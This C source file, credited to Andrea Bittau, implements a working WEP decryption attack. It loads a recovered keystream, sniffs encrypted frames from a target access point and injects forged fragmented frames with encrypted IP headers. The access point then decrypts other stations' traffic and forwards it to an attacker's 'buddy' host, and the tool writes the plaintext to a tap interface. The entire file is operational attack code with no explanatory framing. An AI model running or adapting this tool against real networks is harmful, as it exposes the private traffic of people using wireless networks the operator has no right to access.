1/*-
2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 *    notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 *    notice, this list of conditions and the following disclaimer in the
12 *    documentation and/or other materials provided with the distribution.
13 *
14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24 * SUCH DAMAGE.
25 */
26#include <sys/time.h>
27#include <sys/types.h>
28#include <sys/socket.h>
29#include <sys/uio.h>
30#include <netinet/in.h>
31#include <arpa/inet.h>
32#include <netinet/in_systm.h>
33#include <netinet/ip.h>
34#include <string.h>
35#include <stdio.h>
36#include <stdlib.h>
37#include <unistd.h>
38#include <fcntl.h>
39#include <err.h>
40#include <assert.h>
41#include <zlib.h>
42#include "w00t.h"
43
44enum {
45	S_START = 0,
46	S_WAIT_ACK,
47	S_WAIT_BUDDY
48};
49
50struct queue {
51	struct ieee80211_frame *wh;
52	int len;
53	int id;
54
55	char *buf;
56	int live;
57	struct queue *next;
58};
59
60struct params {
61	int rx;
62	int tx;
63
64	int s;
65	int port;
66
67	int tap;
68
69	char mac[6];
70	char ap[6];
71	char rtr[6];
72	struct in_addr src;
73	struct in_addr dst;
74
75	char prga[2048];
76	int prga_len;
77	char iv[3];
78	char *fname;
79
80	int state;
81
82	struct queue *q;
83
84	char packet[2048];
85	int packet_len;
86	struct timeval last;
87	int id;
88	int data_try;
89
90	int seq;
91	int frag;
92
93	char buddy_data[2048];
94	int buddy_got;
95};
96
97void load_prga(struct params *p)
98{
99        int fd;
100        int rd;
101
102        fd = open(p->fname, O_RDONLY);
103        if (fd == -1) {
104                p->prga_len = 0;
105                return;
106        }
107
108        rd = read(fd, p->iv, 3);
109        if (rd == -1)
110                err(1, "read()");
111        if (rd != 3) {
112                printf("Short read\n");
113                exit(1);
114        }
115
116        rd = read(fd, p->prga, sizeof(p->prga));
117        if (rd == -1)
118                err(1, "read()");
119        p->prga_len = rd;
120
121        printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
122        close(fd);
123}
124
125int wanted(struct params *p, struct ieee80211_frame *wh, int len)
126{
127	char *bssid, *sa;
128
129	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
130		bssid = wh->i_addr1;
131		sa = wh->i_addr2;
132	}
133	else {
134		bssid = wh->i_addr2;
135		sa = wh->i_addr3;
136	}
137
138	if (memcmp(bssid, p->ap, 6) != 0)
139		return 0;
140
141	if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
142		printf("Got non WEP packet...\n");
143		return 0;
144	}
145
146	/* my own shit */
147	if (memcmp(p->mac, sa, 6) == 0)
148		return 0;
149
150	return 1;
151}
152
153void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
154{
155	struct queue *q = p->q;
156	int qlen = 0;
157	char *ret = NULL;
158	struct queue *last = NULL;
159
160	/* find a slot */
161	while (q) {
162		if (q->live)
163			qlen++;
164		else {
165			/* recycle */
166			ret = q->buf;
167			break;
168		}
169
170		last = q;
171		q = q->next;
172	}
173
174	/* need to create slot */
175	if (!q) {
176		q = (struct queue*) malloc(sizeof(*q));
177		if (!q)
178			err(1, "malloc()");
179		memset(q, 0, sizeof(*q));
180
181		/* insert */
182		if (!p->q)
183			p->q = q;
184		else {
185			assert(last);
186			last->next = q;
187		}
188	}
189
190	q->live = 1;
191	q->buf = *buf;
192	q->len = len;
193	q->wh = wh;
194	q->id = p->id++;
195
196	qlen++;
197
198	if (qlen > 5)
199		printf("Enque.  Size: %d\n", qlen);
200	*buf = ret;
201}
202
203/********** RIPPED
204************/
205unsigned short in_cksum (unsigned short *ptr, int nbytes) {
206  register long sum;
207  u_short oddbyte;
208  register u_short answer;
209
210  sum = 0;
211  while (nbytes > 1)
212    {
213      sum += *ptr++;
214      nbytes -= 2;
215    }
216
217  if (nbytes == 1)
218    {
219      oddbyte = 0;
220      *((u_char *) & oddbyte) = *(u_char *) ptr;
221      sum += oddbyte;
222    }
223
224  sum = (sum >> 16) + (sum & 0xffff);
225  sum += (sum >> 16);
226  answer = ~sum;
227  return (answer);
228}
229/**************
230************/
231
232void send_packet(struct params *p)
233{
234        int rc;
235        struct ieee80211_frame *wh;
236
237        rc = inject(p->tx, p->packet, p->packet_len);
238        if (rc == -1)
239                err(1, "inject()");
240        if (rc != p->packet_len) {
241                printf("Wrote %d/%d\n", rc, p->packet_len);
242                exit(1);
243        }
244
245        p->data_try++;
246        wh = (struct ieee80211_frame*) p->packet;
247        wh->i_fc[1] |= IEEE80211_FC1_RETRY;
248
249        if (gettimeofday(&p->last, NULL) == -1)
250                err(1, "gettimeofday()");
251}
252
253void send_header(struct params *p, struct queue *q)
254{
255	struct ieee80211_frame *wh;
256	short *pseq;
257	char *ptr;
258	struct ip *ih;
259	int len, i;
260	uLong crc = crc32(0L, Z_NULL, 0);
261	uLong *pcrc;
262
263	/* 802.11 */
264	memset(p->packet, 0, sizeof(p->packet));
265	wh = (struct ieee80211_frame *) p->packet;
266	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
267	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
268	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
269	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
270	wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
271
272	wh->i_dur[0] = 0x69;
273
274	memcpy(wh->i_addr1, p->ap, 6);
275	memcpy(wh->i_addr2, p->mac, 6);
276	memcpy(wh->i_addr3, p->rtr, 6);
277
278	pseq = (short*) wh->i_seq;
279	p->frag = 0;
280	p->seq++;
281	*pseq = seqfn(p->seq, p->frag++);
282
283	/* IV */
284	ptr = (char*) (wh+1);
285	memcpy(ptr, p->iv, 3);
286	ptr += 4;
287
288	/* LLC/SNAP */
289	memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00\x08\x00", 8);
290
291	/* IP */
292	ih = (struct ip*) (ptr+8);
293	ih->ip_v = 4;
294	ih->ip_hl = 5;
295	len = q->len  - sizeof(*wh) - 4 - 4 + 20;
296	ih->ip_len = htons(len);
297	ih->ip_id = htons(q->id);
298	ih->ip_ttl = 69;
299	ih->ip_p = 0;
300	ih->ip_src.s_addr = p->src.s_addr;
301	ih->ip_dst.s_addr = p->dst.s_addr;
302	ih->ip_sum = in_cksum((unsigned short*)ih, 20);
303
304	/* ICV */
305	len = 8 + 20;
306	crc = crc32(crc, ptr, len);
307	pcrc = (uLong*) (ptr+len);
308	*pcrc = crc;
309
310	/* wepify */
311	for (i = 0; i < len + 4; i++)
312		ptr[i] ^= p->prga[i];
313
314	p->packet_len = sizeof(*wh) + 4 + len + 4;
315	p->data_try = 0;
316	send_packet(p);
317}
318
319void send_queue(struct params *p)
320{
321	struct queue *q = p->q;
322
323	assert(q);
324	assert(q->live);
325
326	send_header(p, q);
327	p->state = S_WAIT_ACK;
328}
329
330void send_data(struct params *p)
331{
332	struct ieee80211_frame *wh;
333	short *seq;
334	struct queue *q = p->q;
335	char *dst, *src;
336	int len;
337
338	assert(q);
339
340	/* 802.11 */
341	memset(p->packet, 0, sizeof(p->packet));
342	wh = (struct ieee80211_frame*) p->packet;
343	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
344	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
345	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
346	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
347
348	wh->i_dur[0] = 0x69;
349
350	memcpy(wh->i_addr1, p->ap, 6);
351	memcpy(wh->i_addr2, p->mac, 6);
352	memcpy(wh->i_addr3, p->rtr, 6);
353
354	seq = (short*) wh->i_seq;
355	*seq = seqfn(p->seq, p->frag++);
356
357	/* data */
358	dst = (char*) (wh+1);
359	src = (char*) (q->wh+1);
360	len = q->len - sizeof(*wh);
361	memcpy(dst, src, len);
362
363	p->packet_len = sizeof(*wh) + len;
364	p->data_try = 0;
365	send_packet(p);
366}
367
368void got_ack(struct params *p)
369{
370	switch (p->frag) {
371	case 1:
372		send_data(p);
373		break;
374
375	case 2:
376		p->state = S_WAIT_BUDDY;
377		p->data_try = 69;
378		break;
379	}
380}
381
382void read_wifi(struct params *p)
383{
384	static char *buf = 0;
385	static int buflen = 4096;
386	struct ieee80211_frame *wh;
387	int rc;
388
389	if (!buf) {
390		buf = (char*) malloc(buflen);
391		if (!buf)
392			err(1, "malloc()");
393	}
394
395	rc = sniff(p->rx, buf, buflen);
396	if (rc == -1)
397		err(1, "sniff()");
398
399	wh = get_wifi(buf, &rc);
400	if (!wh)
401		return;
402
403	/* acks */
404	if (frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK) &&
405	    (memcmp(p->mac, wh->i_addr1, 6) == 0)) {
406		got_ack(p);
407		return;
408	}
409
410	/* data */
411	if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
412		       IEEE80211_FC0_SUBTYPE_DATA)) {
413		if (!wanted(p, wh, rc))
414			return;
415
416		enque(p, &buf, wh, rc);
417		if (p->state == S_START)
418			send_queue(p);
419		return;
420	}
421}
422
423int connect_buddy(struct params *p)
424{
425	struct sockaddr_in s_in;
426
427	memset(&s_in, 0, sizeof(s_in));
428	s_in.sin_family = PF_INET;
429	s_in.sin_port = htons(p->port);
430	s_in.sin_addr.s_addr = p->dst.s_addr;
431
432	if ((p->s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
433		return -1;
434
435	if (connect(p->s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
436		return -1;
437
438	return 0;
439}
440
441void buddy_reset(struct params *p)
442{
443	p->buddy_got = 0;
444
445	if (connect_buddy(p) == -1)
446		err(1, "connect_buddy()");
447}
448
449int buddy_get(struct params *p, int len)
450{
451	int rd;
452
453	rd = recv(p->s, &p->buddy_data[p->buddy_got], len, 0);
454	if (rd <= 0) {
455		buddy_reset(p);
456		return 0;
457	}
458
459	p->buddy_got += rd;
460	return rd == len;
461}
462
463void read_buddy_head(struct params *p)
464{
465	int rem;
466
467	rem = 4 - p->buddy_got;
468
469	if (!buddy_get(p, rem))
470		return;
471}
472
473void read_buddy_data(struct params *p)
474{
475	unsigned short *ptr = (unsigned short*) p->buddy_data;
476	int id, len, rem;
477	struct queue *q = p->q;
478	struct queue *last = p->q;
479	char mac[12];
480	struct iovec iov[2];
481
482	id = ntohs(*ptr++);
483	len = ntohs(*ptr++);
484
485	rem = len + 4 - p->buddy_got;
486
487	assert(rem > 0);
488	if (!buddy_get(p, rem))
489		return;
490
491	/* w00t, got it */
492#if 0
493	printf("id=%d len=%d\n", id, len);
494#endif
495	p->buddy_got = 0;
496
497	/* feedback loop bullshit */
498	if (!q)
499		return;
500	if (!q->live)
501		return;
502
503	/* sanity chex */
504	if (q->id != id) {
505		printf("Diff ID\n");
506		return;
507	}
508
509	rem = q->len - sizeof(*q->wh) - 4 - 4;
510	if (rem != len) {
511		printf("Diff len\n");
512		return;
513	}
514
515	/* tap */
516	if (q->wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
517		memcpy(mac, q->wh->i_addr3, 6);
518		memcpy(&mac[6], q->wh->i_addr2, 6);
519	} else {
520		memcpy(mac, q->wh->i_addr1, 6);
521		memcpy(&mac[6], q->wh->i_addr3, 6);
522	}
523	iov[0].iov_base = mac;
524	iov[0].iov_len = sizeof(mac);
525	iov[1].iov_base = (char*)ptr + 8 - 2;
526	iov[1].iov_len = len - 8 + 2;
527
528	rem = writev(p->tap, iov, sizeof(iov)/sizeof(struct iovec));
529	if (rem == -1)
530		err(1, "writev()");
531	if (rem != (14+(len-8))) {
532		printf("Short write %d\n", rem);
533		exit(1);
534	}
535
536	/* deque */
537	q->live = 0;
538	if (q->next) {
539
540		p->q = q->next;
541
542		while (last) {
543			if (!last->next) {
544				last->next = q;
545				q->next = 0;
546				break;
547			}
548			last = last->next;
549		}
550	}
551
552	/* drain queue */
553	p->state = S_START;
554	if (p->q->live)
555		send_queue(p);
556}
557
558void read_buddy(struct params *p)
559{
560	if (p->buddy_got < 4)
561		read_buddy_head(p);
562	else
563		read_buddy_data(p);
564}
565
566void own(struct params *p)
567{
568	struct timeval tv;
569	struct timeval *to = NULL;
570	fd_set fds;
571	int max;
572	int tout_ack = 10*1000;
573	int tout_buddy = 2*1000*1000;
574	int tout = (p->state == S_WAIT_BUDDY) ? tout_buddy : tout_ack;
575
576	if (p->state == S_WAIT_ACK || p->state == S_WAIT_BUDDY) {
577		int el;
578
579		/* check timeout */
580		if (gettimeofday(&tv, NULL) == -1)
581			err(1, "gettimeofday()");
582
583		el = elapsed(&p->last, &tv);
584
585		/* timeout */
586		if (el >= tout) {
587			if (p->data_try > 3) {
588				p->state = S_START;
589				return;
590			} else {
591				send_packet(p);
592				el = 0;
593			}
594		}
595		el = tout - el;
596		tv.tv_sec = el/1000/1000;
597		tv.tv_usec = el - tv.tv_sec*1000*1000;
598		to = &tv;
599	}
600
601	FD_ZERO(&fds);
602	FD_SET(p->rx, &fds);
603	FD_SET(p->s, &fds);
604	max = (p->rx > p->s) ? p->rx : p->s;
605
606	if (select(max+1, &fds, NULL, NULL, to) == -1)
607		err(1, "select()");
608
609	if (FD_ISSET(p->rx, &fds))
610		read_wifi(p);
611	if (FD_ISSET(p->s, &fds))
612		read_buddy(p);
613}
614
615void usage(char *name)
616{
617	printf("Usage %s <opts>\n"
618	       "-h\thelp\n"
619	       "-d\t<buddy ip>\n"
620	       "-p\t<port>\n"
621	       "-b\t<bssid>\n"
622	       "-t\t<tap>\n"
623	       "-r\t<rtr>\n"
624	       "-s\t<source ip>\n"
625	       , name);
626	exit(1);
627}
628
629int main(int argc, char *argv[])
630{
631	struct params p;
632	char *iface = "wlan0";
633	char *tap = "tap0";
634	int ch;
635
636	memset(&p, 0, sizeof(p));
637	memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
638	p.fname = "prga.log";
639	p.seq = getpid();
640
641	while ((ch = getopt(argc, argv, "hd:p:b:t:r:s:")) != -1) {
642		switch (ch) {
643		case 's':
644			if (!inet_aton(optarg, &p.src)) {
645				printf("Can't parse src IP\n");
646				exit(1);
647			}
648			break;
649
650		case 'r':
651			if (str2mac(p.rtr, optarg) == -1) {
652				printf("Can't parse rtr MAC\n");
653				exit(1);
654			}
655			break;
656
657		case 't':
658			tap = optarg;
659			break;
660
661		case 'b':
662			if (str2mac(p.ap, optarg) == -1) {
663				printf("Can't parse BSSID\n");
664				exit(1);
665			}
666			break;
667
668		case 'd':
669			if (!inet_aton(optarg, &p.dst)) {
670				printf("Can't parse IP\n");
671				exit(1);
672			}
673			break;
674
675		case 'p':
676			p.port = atoi(optarg);
677			break;
678
679		case 'h':
680		default:
681			usage(argv[0]);
682			break;
683		}
684	}
685
686	load_prga(&p);
687	assert(p.prga_len > 60);
688
689	if ((p.rx = open_rx(iface)) == -1)
690		err(1, "open_rx()");
691	if ((p.tx = open_tx(iface)) == -1)
692		err(1, "open_tx()");
693
694	if ((p.tap = open_tap(tap)) == -1)
695		err(1, "open_tap()");
696	if (set_iface_mac(tap, p.mac) == -1)
697		err(1, "set_iface_mac()");
698
699	if (connect_buddy(&p) == -1)
700		err(1, "connect_buddy()");
701
702	p.state = S_START;
703	while (1)
704		own(&p);
705
706	exit(0);
707}
708